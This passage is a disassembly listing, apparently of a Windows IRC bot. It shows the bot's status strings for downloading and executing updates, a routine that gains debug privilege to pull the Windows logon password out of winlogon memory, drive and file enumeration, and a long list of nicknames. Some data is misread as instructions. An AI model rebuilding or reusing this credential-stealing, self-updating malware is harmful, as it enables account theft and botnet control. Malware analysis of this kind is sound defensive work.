2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43F85C db 2Dh ; - ; DATA XREF: .nsp0:00416469o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_43F880 db 2Dh ; - ; DATA XREF: .nsp0:00416996o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43F8AC db 2Dh ; - ; DATA XREF: .nsp0:00416892o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43F8CC db 2Dh ; - ; DATA XREF: .nsp0:00416872o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: .nsp0:0041685Eo unk_43F8FC db 2Dh ; - ; DATA XREF: .nsp0:0041684Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43F92C db 2Dh ; - ; DATA XREF: .nsp0:00416E95o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_43F958 db 2Dh ; - ; DATA XREF: .nsp0:00416E87o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43F98C db 2Dh ; - ; DATA XREF: .nsp0:00416DCBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_43F9D0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: .nsp0:00416D5Ao dd 25206465h, 73h unk_43F9EC db 2Dh ; - ; DATA XREF: .nsp0:00416CE3o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43FA24 db 2Dh ; - ; DATA XREF: .nsp0:00416C64o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43FA4C db 2Dh ; - ; DATA XREF: .nsp0:00416BDAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_43FA78 db 2Dh ; - ; DATA XREF: .nsp0:00416B97o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_43FAA0 db 2Dh ; - ; DATA XREF: .nsp0:00416B85o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_43FAC8 db 2Dh ; - ; DATA XREF: .nsp0:00416A79o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416FAA:loc_416FEDo ; sub_41979A+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416FAA:loc_416FE7o aDisk db 'Disk',0 ; DATA XREF: sub_416FAA:loc_416FE1o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416FAA:loc_416FDBo aCdrom db 'Cdrom',0 ; DATA XREF: sub_416FAA:loc_416FD5o align 4 off_43FB18 dd offset word_4D4152 ; DATA XREF: sub_416FAA:loc_416FCFo word_43FB1C dw 3Fh ; DATA XREF: sub_416FAA+1Fo ; sub_41B2E4:loc_41B3E6r align 10h aFailed db 'failed',0 ; DATA XREF: sub_41703B:loc_417113o ; sub_417156+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_41703B+6Bo align 10h unk_43FB30 db 2Dh ; - ; DATA XREF: sub_417156+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43FB6C db 2Dh ; - ; DATA XREF: sub_417156+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_417228:loc_41726Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles_0 db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_43FC18 db 2Dh ; - ; DATA XREF: sub_417517:loc_417690o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43FC4C db 2Dh ; - ; DATA XREF: sub_417517:loc_417663o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_43FC78 db 2Dh ; - ; DATA XREF: sub_417517:loc_41765Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_43FCB0 db 2Dh ; - ; DATA XREF: sub_417517+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43FD0C dd offset byte_530055 ; DATA XREF: sub_417517+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset byte_4E0049 dd 0 off_43FD24 dd offset byte_530055 ; DATA XREF: sub_417517+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417517+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417517+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417517+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417517+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417517+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417517+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417517+40o ; sub_417517+161o ... align 4 unk_43FDE8 db 2Dh ; - ; DATA XREF: sub_417517+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4176E9+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4176E9+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4176E9+AFo align 4 dword_43FE34 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417B4F+70o ; sub_417BE6+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_43FE84 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417BE6+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_43FED8 dd offset aQ ; DATA XREF: sub_4180E3+5Cr ; "q" dd offset aW ; "w" dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset aY ; "y" dd offset aU ; "u" dd offset aI_1 ; "i" dd offset aP ; "p" dd offset aA_0 ; "a" dd offset aS_1 ; "s" dd offset aD ; "d" dd offset aF ; "f" dd offset aG ; "g" dd offset asc_42B9BC ; "h" dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42B92C ; "l" dd offset aZ ; "z" dd offset asc_42FB78 ; "x" dd offset aC ; "c" dd offset aV ; "v" dd offset aB_0 ; "b" dd offset aN ; "n" dd offset aM_1 ; "m" dd offset dword_440A3C dd offset dword_440A38 dd offset dword_440A34 dd offset dword_440A30 dd offset dword_440A2C dd offset word_440A28 dd offset dword_440A24 dd offset aI ; "I" dd offset dword_440A20 dd offset dword_440A1C dd offset aA ; "A" dd offset dword_440A18 dd offset dword_440A14 dd offset dword_440A10 dd offset dword_440A0C dd offset dword_440A08 dd offset dword_440A04 dd offset dword_440A00 dd offset dword_4409FC dd offset dword_4409F8 dd offset dword_4409F4 dd offset dword_4409F0 dd offset dword_4409EC dd offset dword_4409E8 dd offset word_4409E4 dd offset aM_3 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl_0 ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_44078C dd offset off_440788 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4405F4 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" ; --------------------------------------------------------------------------- fadd dword ptr ds:5D00044h inc esp add al, cl add eax, 5C00044h inc esp add [eax-4FFFBBFBh], bh add eax, 5A40044h inc esp add [ebp+eax+5940044h], bl inc esp add [ebp+eax+5840044h], cl inc esp add [ebp+eax+44h], bh add [ebp+eax+44h], dh add [ebp+eax+44h], ch add [eax+5], ch inc esp add [ebp+eax+44h], bl add [eax+5], dl inc esp add [ebp+eax+44h], al add ds:5340044h[eax], bh inc esp add ds:5200044h[eax], ch inc esp add ds:5080044h[eax], dl inc esp add ah, bh add al, 44h add ah, dh add al, 44h add al, ch add al, 44h add ah, bl add al, 44h loc_4401D7: ; DATA XREF: sub_4180E3+41r ; sub_4180E3+ECr add [ebp+edi*8+42h], dl add al, bl add al, 44h add ah, dl add al, 44h add [esp+ecx*8], ah inc edx add al, dl add al, 44h add ah, cl add al, 44h add ah, al add al, 44h add [esp+eax+4B40044h], bh inc esp add [esp+eax+4A40044h], ch inc esp loc_440203: ; CODE XREF: .nsp0:00440248j add [esp+eax+4940044h], bl inc esp add [esp+eax+4800044h], cl inc esp add [eax+4], bh inc esp add [eax+4], dh inc esp add [esp+eax+44h], ch add [esp+eax+44h], ah add ah, al mov edx, 0BA800042h inc edx add [edx+edi*4], bh inc edx add [edx+edi*4], al inc edx add [eax], ah mov edx, 0B9E00042h inc edx add [ecx+edi*4-4667FFBEh], bh inc edx add al, dl and [ebx+0], eax jz short loc_440203 inc edx add [eax-47h], dl inc edx add [ecx+edi*4], ch inc edx add [eax], cl mov ecx, 0B8E40042h inc edx add al, al mov eax, 0B89C0042h inc edx add [eax+600042B7h], ah add al, 44h add [eax], dh mov eax, 0B8780042h inc edx add al, ch mov bh, 42h add ah, al mov bh, 42h add [eax-5], bh inc edx add [eax+edi*4], cl inc edx add [ebx+edi*4], ch inc edx add [eax+4], bl inc esp add [esp+eax+44h], dl add [eax+4], dl inc esp add [esp+eax+44h], cl add [eax+4], cl inc esp add [esp+eax+44h], al add [eax+4], al inc esp add [eax], bh add al, 44h add [eax], dh add al, 44h add [eax], ch add al, 44h add [eax], ah add al, 44h add [ebx+edi*4], ch inc edx add al, ah mov ecx, 0B8540042h inc edx add [eax+1C0042B7h], ah add al, 44h add [esp+eax], dl inc esp add [eax-67FFBBCDh], bl xor eax, [eax+eax+10h] add al, 44h add [eax-67FFBBCDh], bl xor eax, [eax+eax-68h] xor eax, [eax+eax-68h] xor eax, [eax+eax+10h] or al, [eax+eax-20h] or [eax+eax+8], eax add al, 44h add [esp+eax], al inc esp add ah, bh add eax, [eax+eax-3Ch] mov edx, 33980042h inc esp add al, dh add eax, [eax+eax-68h] xor eax, [eax+eax-68h] xor eax, [eax+eax-18h] add eax, [eax+eax-20h] add eax, [eax+eax-68h] xor eax, [eax+eax-68h] xor eax, [eax+eax-0Ch] or [eax+eax-68h], eax xor eax, [eax+eax-24h] add eax, [eax+eax-2Ch] add eax, [eax+eax-34h] add eax, [eax+eax+54h] rol byte ptr [edx+0], cl enter 4403h, 0 rol byte ptr [ebx], 44h add [eax-4FFFBBFDh], bh add eax, [eax+eax-58h] add eax, [eax+eax-5Ch] add eax, [eax+eax+44h] mov dword ptr [edx+0], offset dword_44039C nop add eax, [eax+eax-78h] add eax, [eax+eax-80h] add eax, [eax+eax+78h] add eax, [eax+eax+74h] add eax, [eax+eax+70h] add eax, [eax+eax+36h] jnz short $+2 add ds:7C000075h, dh xor al, 75h jl short $+2 ; --------------------------------------------------------------------------- db 3 dup(0) dd 6F79347Bh, 7D75h, 7375347Ch, 7Ch, 7865737Ch, 65726634h dd 7C65h dword_44039C dd 6F6C6F6Ch, 7C617Ch, 746F74h, 6F666F6Dh, 0aMof0 db 'mof0',0 align 4 aMuha db 'muha',0 align 10h aYeah db 'yeah',0 align 4 aAha db 'aha',0 aGurl db 'gurl',0 align 4 aGirl_1 db 'GIRL',0 align 4 aBoy db 'BOY',0 aFree_0 db 'Free',0 align 4 aFuck_0 db 'Fuck',0 align 10h aSleeping db 'Sleeping',0 align 4 aF_0 db '^^^f^',0 align 4 aSad db 'Sad',0 aLuvu db 'LUVU',0 align 10h a___0 db '_|_',0 aBbl db '|bbl',0 align 4 dd offset loc_425242 aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 10h aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 10h aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 4 aGf db 'gf',0 align 10h aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 10h aRs db 'rs',0 align 4 aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 10h aSick_0 db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 4 aSex_1 db '{sex}',0 align 4 aHub db '{hub}',0 align 4 aLuck_0 db '|luck|',0 align 4 aSuck_0 db '|suck|',0 align 4 aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 4 aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 aZex db 'zex',0 aLez db 'lez',0 aWantedlove db 'WANTEDLOVE',0 align 4 aCumhur29 db 'cumhur29',0 align 4 aAdamm db 'ADAMM',0 align 4 aMaveRIck db 'MaVe{R}icK',0 align 4 aPrometheus db 'prometheus',0 align 4 aDallas43m db 'DALLAS43M',0 align 10h aTeoman db 'TEOMAN```',0 align 4 aRerpjj db 'RERPJJ',0 align 4 aCem39 db 'cem39',0 align 4 aCool30m db 'cool30m',0 aTropikal db 'tropikal',0 align 10h aPassenger db 'passenger',0 align 4 aNeHaber db 'NE-HABER',0 align 4 aUla db 'ula',0 aIzmirlm db 'izmirlm',0 aAkden db 'akden',0 align 4 aKoray db 'KORAY',0 align 4 aAta29 db 'Ata29',0 align 4 aFirtina db 'firtina',0 aAdamm33 db 'AdAMM33',0 aM41ist db 'M41IST',0 align 4 aMaxsilla db 'maxsilla',0 align 10h aAdem28 db 'Adem28',0 align 4 aAnkm db 'ankM',0 align 10h aErkan db 'erkan',0 align 4 aDevre db 'devre',0 align 10h aYabanc db 'yabanc',0 align 4 aBirsen db 'birsen',0 align 10h aA44m db 'a44m',0 ; DATA XREF: .nsp0:00440164o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .nsp0:00440160o align 4 off_4405F4 dd offset byte_4B5245 ; DATA XREF: .nsp0:0044015Co aSevda db 'sevda',0 ; DATA XREF: .nsp0:00440158o align 10h aKotan db 'kotan',0 ; DATA XREF: .nsp0:00440154o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .nsp0:00440150o align 10h aAchilles db 'Achilles',0 ; DATA XREF: .nsp0:0044014Co align 4 aKapk db 'kapk',0 ; DATA XREF: .nsp0:00440148o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .nsp0:00440144o align 10h aHayran db 'hayran',0 ; DATA XREF: .nsp0:00440140o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .nsp0:0044013Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: .nsp0:00440138o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: .nsp0:00440134o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .nsp0:00440130o align 10h aUmut db 'umut-',0 ; DATA XREF: .nsp0:0044012Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .nsp0:00440128o align 10h aKumul db 'kumul',0 ; DATA XREF: .nsp0:00440124o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .nsp0:00440120o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .nsp0:0044011Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: .nsp0:00440118o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .nsp0:00440114o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .nsp0:00440110o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .nsp0:0044010Co align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: .nsp0:00440108o aHoly db 'holy',0 ; DATA XREF: .nsp0:00440104o align 4 aFlord db 'FLoRD',0 ; DATA XREF: .nsp0:00440100o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .nsp0:004400FCo aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .nsp0:004400F8o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .nsp0:004400F4o align 4 aEmre db 'Emre--',0 ; DATA XREF: .nsp0:004400F0o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: .nsp0:004400ECo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .nsp0:004400E8o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: .nsp0:004400E4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .nsp0:004400E0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .nsp0:004400DCo aArda db 'arda',0 ; DATA XREF: .nsp0:004400D8o align 4 aDevran db 'devran',0 ; DATA XREF: .nsp0:004400D4o align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: .nsp0:004400D0o aDenizlim db 'DenizliM',0 ; DATA XREF: .nsp0:004400CCo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .nsp0:004400C8o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: .nsp0:004400C4o align 4 aBogac db 'bogac',0 ; DATA XREF: .nsp0:004400C0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .nsp0:004400BCo align 10h aAnkh db 'ankh',0 ; DATA XREF: .nsp0:004400B8o align 4 off_440788 dd offset byte_457441 ; DATA XREF: .nsp0:004400B4o dword_44078C dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .nsp0:004400ACo align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: .nsp0:004400A8o align 4 aZack db 'ZACK',0 ; DATA XREF: .nsp0:004400A4o align 10h aAnk32m db 'ank32m',0 ; DATA XREF: .nsp0:004400A0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .nsp0:0044009Co align 10h aAhmet db 'ahmet',0 ; DATA XREF: .nsp0:00440098o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .nsp0:00440094o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .nsp0:00440090o align 10h aRetg db 'RETG',0 ; DATA XREF: .nsp0:0044008Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .nsp0:00440088o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .nsp0:00440084o aAslii db 'aslii',0 ; DATA XREF: .nsp0:00440080o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .nsp0:0044007Co aHaticem db 'haticem',0 ; DATA XREF: .nsp0:00440078o aArzu db 'ARZU',0 ; DATA XREF: .nsp0:00440074o align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: .nsp0:00440070o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .nsp0:0044006Co align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: .nsp0:00440068o align 4 aTekir db 'tekir',0 ; DATA XREF: .nsp0:00440064o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .nsp0:00440060o align 10h aTrend3 db 'trend3',0 ; DATA XREF: .nsp0:0044005Co align 4 aMelekk db 'melekk',0 ; DATA XREF: .nsp0:00440058o align 10h aAkin db 'AKIN',0 ; DATA XREF: .nsp0:00440054o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .nsp0:00440050o align 10h aJericho db 'JERICHO',0 ; DATA XREF: .nsp0:0044004Co aTolga34 db 'Tolga34',0 ; DATA XREF: .nsp0:00440048o aMisssunday db 'misssunday',0 ; DATA XREF: .nsp0:00440044o align 4 aIrmal db 'irmal',0 ; DATA XREF: .nsp0:00440040o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .nsp0:0044003Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: .nsp0:00440038o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: .nsp0:00440034o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .nsp0:00440030o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .nsp0:0044002Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .nsp0:00440028o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .nsp0:00440024o align 10h aKencing db 'Kencing',0 ; DATA XREF: .nsp0:00440020o aReshma db 'reshma',0 ; DATA XREF: .nsp0:0044001Co align 10h aCamel db 'CAMEL',0 ; DATA XREF: .nsp0:00440018o align 4 aGirl_0 db 'GirL',0 ; DATA XREF: .nsp0:00440014o align 10h aImra db 'imra',0 ; DATA XREF: .nsp0:00440010o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .nsp0:0044000Co align 4 aPuregold db 'puregold',0 ; DATA XREF: .nsp0:00440008o align 10h aManee db 'manee',0 ; DATA XREF: .nsp0:00440000o align 4 aTroller db 'troller',0 ; DATA XREF: .nsp0:0043FFFCo aLuisa db 'Luisa',0 ; DATA XREF: .nsp0:0043FFF8o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .nsp0:0043FFF4o align 4 aRimpy db 'rimpy',0 ; DATA XREF: .nsp0:0043FFF0o align 4 aJanno db 'janno',0 ; DATA XREF: .nsp0:0043FFECo align 4 aBunty db 'bunty',0 ; DATA XREF: .nsp0:0043FFE8o align 4 aHeval db 'heval',0 ; DATA XREF: .nsp0:0043FFE4o align 4 aCme db 'cme',0 ; DATA XREF: .nsp0:0043FFE0o aTalika db 'talika',0 ; DATA XREF: .nsp0:0043FFD8o align 10h aShez db 'Shez',0 ; DATA XREF: .nsp0:0043FFD4o align 4 aKen db 'ken',0 ; DATA XREF: .nsp0:0043FFD0o aFlexster db 'flexster',0 ; DATA XREF: .nsp0:0043FFCCo align 4 aKoko db 'koko',0 ; DATA XREF: .nsp0:0043FFC8o align 10h aMale db 'male',0 ; DATA XREF: .nsp0:0043FFC4o align 4 aSwin db 'swin',0 ; DATA XREF: .nsp0:0043FFC0o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: .nsp0:0043FFBCo aKrizha db 'KRIZHA',0 ; DATA XREF: .nsp0:0043FFB8o align 10h aEmilya db 'emilya',0 ; DATA XREF: .nsp0:0043FFB4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .nsp0:0043FFB0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .nsp0:0043FFACo aFarooq db 'farooq',0 ; DATA XREF: .nsp0:0043FFA8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .nsp0:0043FFA4o align 10h aM_3: ; DATA XREF: .nsp0:0043FFA0o unicode 0, <M>,0 